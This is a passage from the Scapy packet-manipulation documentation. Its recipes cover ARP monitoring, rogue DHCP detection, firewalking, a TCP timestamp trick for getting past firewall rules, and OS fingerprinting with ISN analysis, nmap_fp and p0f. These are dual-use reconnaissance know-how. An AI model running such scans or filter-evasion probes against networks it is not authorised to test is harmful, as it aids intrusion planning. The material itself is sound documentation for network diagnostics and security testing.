1351    44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
1352    12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble
1353
1354
1355Recipes
1356=======
1357
1358Simplistic ARP Monitor
1359----------------------
1360
1361This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.
1362
1363::
1364
1365    #! /usr/bin/env python
1366    from scapy.all import *
1367
1368    def arp_monitor_callback(pkt):
1369        if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
1370            return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
1371
1372    sniff(prn=arp_monitor_callback, filter="arp", store=0)
1373
1374Identifying rogue DHCP servers on your LAN
1375-------------------------------------------
1376
1377.. index::
1378   single: DHCP
1379
1380Problem
1381^^^^^^^
1382
1383You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously.
1384Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.
1385
1386Solution
1387^^^^^^^^
1388
1389Use Scapy to send a DHCP discover request and analyze the replies::
1390
1391    >>> conf.checkIPaddr = False
1392    >>> fam,hw = get_if_raw_hwaddr(conf.iface)
1393    >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
1394    >>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
1395    Begin emission:
1396    Finished to send 1 packets.
1397    .*...*..
1398    Received 8 packets, got 2 answers, remaining 0 packets
1399
1400In this case we got 2 replies, so there were two active DHCP servers on the test network::
1401
1402    >>> ans.summary()
1403    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
1404    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
1405    }}}
1406    We are only interested in the MAC and IP addresses of the replies:
1407    {{{
1408    >>> for p in ans: print p[1][Ether].src, p[1][IP].src
1409    ...
1410    00:de:ad:be:ef:00 192.168.1.1
1411    00:11:11:22:22:33 192.168.1.11
1412
1413Discussion
1414^^^^^^^^^^
1415
1416We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received.
1417This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet.
1418
1419Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus.
1420
1421See also
1422^^^^^^^^
1423
1424http://en.wikipedia.org/wiki/Rogue_DHCP
1425
1426
1427
1428Firewalking
1429-----------
1430
1431TTL decrementation after a filtering operation
1432only not filtered packets generate an ICMP TTL exceeded
1433
1434    >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
1435    >>> for s,r in ans:
1436            if r.haslayer(ICMP) and r.payload.type == 11:
1437                print s.dport
1438
1439Find subnets on a multi-NIC firewall
1440only his own NIC’s IP are reachable with this TTL::
1441
1442    >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
1443    >>> for i in unans: print i.dst
1444
1445
1446TCP Timestamp Filtering
1447------------------------
1448
1449Problem
1450^^^^^^^
1451
1452Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.
1453
1454Solution
1455^^^^^^^^
1456
1457To allow Scapy to reach target destination additional options must be used::
1458
1459    >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
1460
1461
1462
1463Viewing packets with Wireshark
1464------------------------------
1465
1466.. index::
1467   single: wireshark()
1468
1469Problem
1470^^^^^^^
1471
1472You have generated or sniffed some packets with Scapy and want to view them with `Wireshark <http://www.wireshark.org>`_, because of its advanced packet dissection abilities.
1473
1474Solution
1475^^^^^^^^
1476
1477That's what the ``wireshark()`` function is for:
1478
1479    >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()     # first generate some packets
1480    >>> wireshark(packets)                                        # show them with Wireshark
1481
1482Wireshark will start in the background and show your packets.
1483
1484Discussion
1485^^^^^^^^^^
1486
1487The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.
1488
1489Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.
1490
1491You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting.
1492
1493
1494
1495OS Fingerprinting
1496-----------------
1497
1498ISN
1499^^^
1500
1501Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop::
1502
1503    >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
1504
1505Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:
1506
1507    >>> temp = 0
1508    >>> for s, r in ans:
1509    ...    temp = r[TCP].seq - temp
1510    ...    print("%d\t+%d" % (r[TCP].seq, temp))
1511    ...
1512    4278709328      +4275758673
1513    4279655607      +3896934
1514    4280642461      +4276745527
1515    4281648240      +4902713
1516    4282645099      +4277742386
1517    4283643696      +5901310
1518
1519nmap_fp
1520^^^^^^^
1521
1522Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first::
1523
1524    >>> load_module("nmap")
1525
1526If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by::
1527
1528    >>> conf.nmap_base
1529
1530Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine::
1531
1532    >>> nmap_fp("192.168.1.1",oport=443,cport=1)
1533    Begin emission:
1534    .****..**Finished to send 8 packets.
1535    *................................................
1536    Received 58 packets, got 7 answers, remaining 1 packets
1537    (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
1538    'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
1539    w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
1540
1541p0f
1542^^^
1543
1544If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by::
1545
1546    >>> conf.p0f_base
1547
1548For example to guess OS from a single captured packet:
1549
1550    >>> sniff(prn=prnp0f)
1551    192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
1552      -> 74.125.19.104:www (distance 0)
1553    <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
1554
1555
1556
1557